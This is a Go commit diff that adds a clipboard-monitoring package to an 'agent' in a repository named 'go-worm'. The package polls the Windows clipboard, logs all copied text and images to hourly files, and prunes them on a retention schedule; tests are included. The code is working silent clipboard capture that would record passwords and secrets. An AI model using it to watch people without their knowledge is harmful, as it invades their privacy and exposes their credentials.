Add clipboard monitoring functionality to the agent. Implement clipboard event logging, including text and image capture, with support for retention policies. Update API to allow file deletion and enhance web interface for file management. Add tests for clipboard operations.

This commit is contained in:
2026-08-28 13:08:14 +03:00
parent fe560c6a65
commit 077d9ab850
13 changed files with 695 additions and 5 deletions
+104
View File
@@ -0,0 +1,104 @@
package clipmon
import (
"sync"
"time"
"tea.chunkbyte.com/kato/go-worm/lib/config"
)
var (
mu sync.Mutex
running bool
writer *Writer
events chan Event
stopCh chan struct{}
doneCh chan struct{}
writerWG sync.WaitGroup
)
func Start() error {
if !config.ClipboardEnabled() {
return nil
}
mu.Lock()
defer mu.Unlock()
if running {
return nil
}
dir, err := config.ClipboardDir()
if err != nil {
return err
}
if err := PruneOld(dir, config.ClipboardRetentionDays()); err != nil {
return err
}
w, err := NewWriter(dir)
if err != nil {
return err
}
events = make(chan Event, 64)
stopCh = make(chan struct{})
doneCh = make(chan struct{})
writerWG.Add(1)
go func() {
defer writerWG.Done()
for {
select {
case event := <-events:
_ = w.Write(event)
case <-stopCh:
_ = w.Close()
return
}
}
}()
if err := startPlatform(w, events, stopCh, doneCh); err != nil {
close(stopCh)
writerWG.Wait()
events = nil
stopCh = nil
doneCh = nil
return err
}
writer = w
running = true
return nil
}
func Stop() {
mu.Lock()
if !running {
mu.Unlock()
return
}
stop := stopCh
done := doneCh
running = false
writer = nil
events = nil
stopCh = nil
doneCh = nil
mu.Unlock()
if stop != nil {
close(stop)
}
writerWG.Wait()
if done != nil {
<-done
}
}
func emit(event Event) {
event.Time = time.Now()
select {
case events <- event:
default:
// ponytail: drop when full
}
}
+58
View File
@@ -0,0 +1,58 @@
package clipmon
import (
"os"
"path/filepath"
"strings"
"testing"
"time"
)
func TestFormatLine(t *testing.T) {
t.Parallel()
when := time.Date(2026, 8, 28, 13, 4, 5, 0, time.UTC)
line := formatLine(Event{Time: when, Kind: "text", Text: "hello"})
if !strings.Contains(line, "[text]") || !strings.Contains(line, "hello") {
t.Fatalf("formatLine text = %q", line)
}
img := formatLine(Event{Time: when, Kind: "image", ImagePath: "images/ab.png"})
if !strings.Contains(img, "[image] images/ab.png") {
t.Fatalf("formatLine image = %q", img)
}
}
func TestWriterHourly(t *testing.T) {
dir := t.TempDir()
w, err := NewWriter(dir)
if err != nil {
t.Fatalf("NewWriter: %v", err)
}
when := time.Date(2026, 8, 28, 13, 0, 0, 0, time.Local)
if err := w.Write(Event{Time: when, Kind: "text", Text: "copied"}); err != nil {
t.Fatalf("Write: %v", err)
}
_ = w.Close()
data, err := os.ReadFile(filepath.Join(dir, LogFilename(HourBucket(when))))
if err != nil {
t.Fatalf("read log: %v", err)
}
if !strings.Contains(string(data), "copied") {
t.Fatalf("log = %q", data)
}
}
func TestSavePNG(t *testing.T) {
dir := t.TempDir()
w, err := NewWriter(dir)
if err != nil {
t.Fatalf("NewWriter: %v", err)
}
rel, err := w.SavePNG([]byte{0x89, 'P', 'N', 'G', 0, 0, 0})
if err != nil {
t.Fatalf("SavePNG: %v", err)
}
if !strings.HasPrefix(rel, "images/") {
t.Fatalf("rel = %q", rel)
}
}
+10
View File
@@ -0,0 +1,10 @@
package clipmon
import "time"
type Event struct {
Time time.Time
Kind string // "text" or "image"
Text string
ImagePath string // relative to clipboard dir, e.g. images/abc.png
}
+37
View File
@@ -0,0 +1,37 @@
package clipmon
import (
"fmt"
"path/filepath"
"regexp"
"strings"
"time"
)
const hourBucketLayout = "2006-01-02-15"
var logFilenamePattern = regexp.MustCompile(`^\d{4}-\d{2}-\d{2}-\d{2}\.log$`)
func HourBucket(t time.Time) string {
return t.Local().Format(hourBucketLayout)
}
func LogFilename(bucket string) string {
return bucket + ".log"
}
func ValidLogFilename(name string) bool {
return logFilenamePattern.MatchString(filepath.Base(name))
}
func formatLine(event Event) string {
when := event.Time.UTC().Format("2006-01-02T15:04:05.000Z")
switch event.Kind {
case "image":
return fmt.Sprintf("%s [image] %s\n", when, event.ImagePath)
default:
text := strings.ReplaceAll(event.Text, "\r\n", "\n")
text = strings.ReplaceAll(text, "\r", "\n")
return fmt.Sprintf("%s [text]\n%s\n", when, text)
}
}
+8
View File
@@ -0,0 +1,8 @@
//go:build !windows
package clipmon
func startPlatform(_ *Writer, _ chan Event, _ <-chan struct{}, done chan struct{}) error {
close(done)
return nil
}
+231
View File
@@ -0,0 +1,231 @@
//go:build windows
package clipmon
import (
"bytes"
"encoding/binary"
"image"
"image/color"
"image/png"
"strings"
"syscall"
"time"
"unsafe"
)
const (
cfBitmap = 2
cfDIB = 8
cfUnicodeText = 13
)
var (
user32 = syscall.NewLazyDLL("user32.dll")
kernel32 = syscall.NewLazyDLL("kernel32.dll")
procOpenClipboard = user32.NewProc("OpenClipboard")
procCloseClipboard = user32.NewProc("CloseClipboard")
procGetClipboardData = user32.NewProc("GetClipboardData")
procIsClipboardFormatAvailable = user32.NewProc("IsClipboardFormatAvailable")
procGetClipboardSequenceNumber = user32.NewProc("GetClipboardSequenceNumber")
procGlobalLock = kernel32.NewProc("GlobalLock")
procGlobalUnlock = kernel32.NewProc("GlobalUnlock")
procGlobalSize = kernel32.NewProc("GlobalSize")
)
type bitmapInfoHeader struct {
Size uint32
Width int32
Height int32
Planes uint16
BitCount uint16
Compression uint32
SizeImage uint32
XPelsPerMeter int32
YPelsPerMeter int32
ClrUsed uint32
ClrImportant uint32
}
func startPlatform(w *Writer, events chan Event, stop <-chan struct{}, done chan struct{}) error {
go func() {
defer close(done)
pollClipboard(w, stop)
}()
return nil
}
func pollClipboard(w *Writer, stop <-chan struct{}) {
lastSeq := sequenceNumber()
ticker := time.NewTicker(300 * time.Millisecond)
defer ticker.Stop()
for {
select {
case <-stop:
return
case <-ticker.C:
seq := sequenceNumber()
if seq == lastSeq {
continue
}
lastSeq = seq
captureClipboard(w)
}
}
}
func sequenceNumber() uint32 {
n, _, _ := procGetClipboardSequenceNumber.Call()
return uint32(n)
}
func captureClipboard(w *Writer) {
ok, _, _ := procOpenClipboard.Call(0)
if ok == 0 {
return
}
defer procCloseClipboard.Call()
if text, ok := readClipboardText(); ok && strings.TrimSpace(text) != "" {
emit(Event{Kind: "text", Text: TrimText(text)})
}
if pngData, ok := readClipboardImage(); ok {
rel, err := w.SavePNG(pngData)
if err != nil {
return
}
emit(Event{Kind: "image", ImagePath: rel})
}
}
func readClipboardText() (string, bool) {
ok, _, _ := procIsClipboardFormatAvailable.Call(cfUnicodeText)
if ok == 0 {
return "", false
}
handle, _, _ := procGetClipboardData.Call(cfUnicodeText)
if handle == 0 {
return "", false
}
ptr, _, _ := procGlobalLock.Call(handle)
if ptr == 0 {
return "", false
}
defer procGlobalUnlock.Call(handle)
size, _, _ := procGlobalSize.Call(handle)
if size == 0 {
return "", false
}
data := unsafe.Slice((*uint16)(unsafe.Pointer(ptr)), size/2)
for i, unit := range data {
if unit == 0 {
return syscall.UTF16ToString(data[:i]), true
}
}
return syscall.UTF16ToString(data), true
}
func readClipboardImage() ([]byte, bool) {
if dib, ok := readClipboardDIB(); ok {
return dib, true
}
return readClipboardBitmap()
}
func readClipboardDIB() ([]byte, bool) {
ok, _, _ := procIsClipboardFormatAvailable.Call(cfDIB)
if ok == 0 {
return nil, false
}
handle, _, _ := procGetClipboardData.Call(cfDIB)
if handle == 0 {
return nil, false
}
ptr, _, _ := procGlobalLock.Call(handle)
if ptr == 0 {
return nil, false
}
defer procGlobalUnlock.Call(handle)
size, _, _ := procGlobalSize.Call(handle)
if size == 0 {
return nil, false
}
raw := unsafe.Slice((*byte)(unsafe.Pointer(ptr)), size)
return dibToPNG(append([]byte(nil), raw...))
}
func readClipboardBitmap() ([]byte, bool) {
ok, _, _ := procIsClipboardFormatAvailable.Call(cfBitmap)
if ok == 0 {
return nil, false
}
// ponytail: CF_BITMAP needs a DC to read pixels; most apps also publish CF_DIB
return nil, false
}
func dibToPNG(raw []byte) ([]byte, bool) {
if len(raw) < int(unsafe.Sizeof(bitmapInfoHeader{})) {
return nil, false
}
var header bitmapInfoHeader
if err := binary.Read(bytes.NewReader(raw), binary.LittleEndian, &header); err != nil {
return nil, false
}
if header.Size < uint32(unsafe.Sizeof(bitmapInfoHeader{})) || header.BitCount != 24 && header.BitCount != 32 {
return nil, false
}
width := int(header.Width)
height := int(header.Height)
if width <= 0 || height <= 0 || width > 8192 || height > 8192 {
return nil, false
}
topDown := false
if height < 0 {
topDown = true
height = -height
}
headerSize := int(header.Size)
colorTable := int(header.ClrUsed) * 4
if header.BitCount <= 8 && header.ClrUsed == 0 {
colorTable = (1 << header.BitCount) * 4
}
offset := headerSize + colorTable
if offset > len(raw) {
return nil, false
}
pixels := raw[offset:]
stride := ((width*int(header.BitCount) + 31) / 32) * 4
if len(pixels) < stride*height {
return nil, false
}
img := image.NewRGBA(image.Rect(0, 0, width, height))
bytesPerPixel := int(header.BitCount) / 8
for y := 0; y < height; y++ {
srcY := y
if !topDown {
srcY = height - 1 - y
}
row := pixels[srcY*stride:]
for x := 0; x < width; x++ {
i := x * bytesPerPixel
if i+2 >= len(row) {
continue
}
b, g, r := row[i], row[i+1], row[i+2]
a := uint8(255)
if bytesPerPixel == 4 && i+3 < len(row) {
a = row[i+3]
}
img.SetRGBA(x, y, color.RGBA{R: r, G: g, B: b, A: a})
}
}
var out bytes.Buffer
if err := png.Encode(&out, img); err != nil {
return nil, false
}
return out.Bytes(), true
}
+153
View File
@@ -0,0 +1,153 @@
package clipmon
import (
"crypto/rand"
"encoding/hex"
"fmt"
"os"
"path/filepath"
"strings"
"time"
)
const maxLoggedText = 1 << 16 // ponytail: 64KB cap per clipboard text entry
type Writer struct {
dir string
imagesDir string
file *os.File
bucket string
}
func NewWriter(dir string) (*Writer, error) {
imagesDir := filepath.Join(dir, "images")
if err := os.MkdirAll(imagesDir, 0o700); err != nil {
return nil, err
}
return &Writer{dir: dir, imagesDir: imagesDir}, nil
}
func (w *Writer) Write(event Event) error {
bucket := HourBucket(event.Time)
if bucket != w.bucket {
if err := w.rotate(bucket); err != nil {
return err
}
}
_, err := w.file.WriteString(formatLine(event))
return err
}
func (w *Writer) SavePNG(data []byte) (string, error) {
name, err := randomName(".png")
if err != nil {
return "", err
}
path := filepath.Join(w.imagesDir, name)
if err := os.WriteFile(path, data, 0o600); err != nil {
return "", fmt.Errorf("write image: %w", err)
}
return filepath.ToSlash(filepath.Join("images", name)), nil
}
func (w *Writer) rotate(bucket string) error {
if w.file != nil {
if err := w.file.Close(); err != nil {
return err
}
w.file = nil
}
path := filepath.Join(w.dir, LogFilename(bucket))
file, err := os.OpenFile(path, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0o600)
if err != nil {
return err
}
w.file = file
w.bucket = bucket
return nil
}
func (w *Writer) Close() error {
if w.file == nil {
return nil
}
err := w.file.Close()
w.file = nil
w.bucket = ""
return err
}
func TrimText(text string) string {
if len(text) <= maxLoggedText {
return text
}
return text[:maxLoggedText] + "\n...(truncated)"
}
func randomName(ext string) (string, error) {
var buf [16]byte
if _, err := rand.Read(buf[:]); err != nil {
return "", err
}
if !strings.HasPrefix(ext, ".") {
ext = "." + ext
}
return hex.EncodeToString(buf[:]) + ext, nil
}
func PruneOld(dir string, retentionDays int) error {
if retentionDays <= 0 {
return nil
}
cutoff := time.Now().AddDate(0, 0, -retentionDays)
if err := pruneLogs(dir, cutoff); err != nil {
return err
}
return pruneImages(filepath.Join(dir, "images"), cutoff)
}
func pruneLogs(dir string, cutoff time.Time) error {
entries, err := os.ReadDir(dir)
if err != nil {
if os.IsNotExist(err) {
return nil
}
return err
}
for _, entry := range entries {
if entry.IsDir() || !ValidLogFilename(entry.Name()) {
continue
}
info, err := entry.Info()
if err != nil {
continue
}
if info.ModTime().Before(cutoff) {
_ = os.Remove(filepath.Join(dir, entry.Name()))
}
}
return nil
}
func pruneImages(dir string, cutoff time.Time) error {
entries, err := os.ReadDir(dir)
if err != nil {
if os.IsNotExist(err) {
return nil
}
return err
}
for _, entry := range entries {
if entry.IsDir() {
continue
}
info, err := entry.Info()
if err != nil {
continue
}
if info.ModTime().Before(cutoff) {
_ = os.Remove(filepath.Join(dir, entry.Name()))
}
}
return nil
}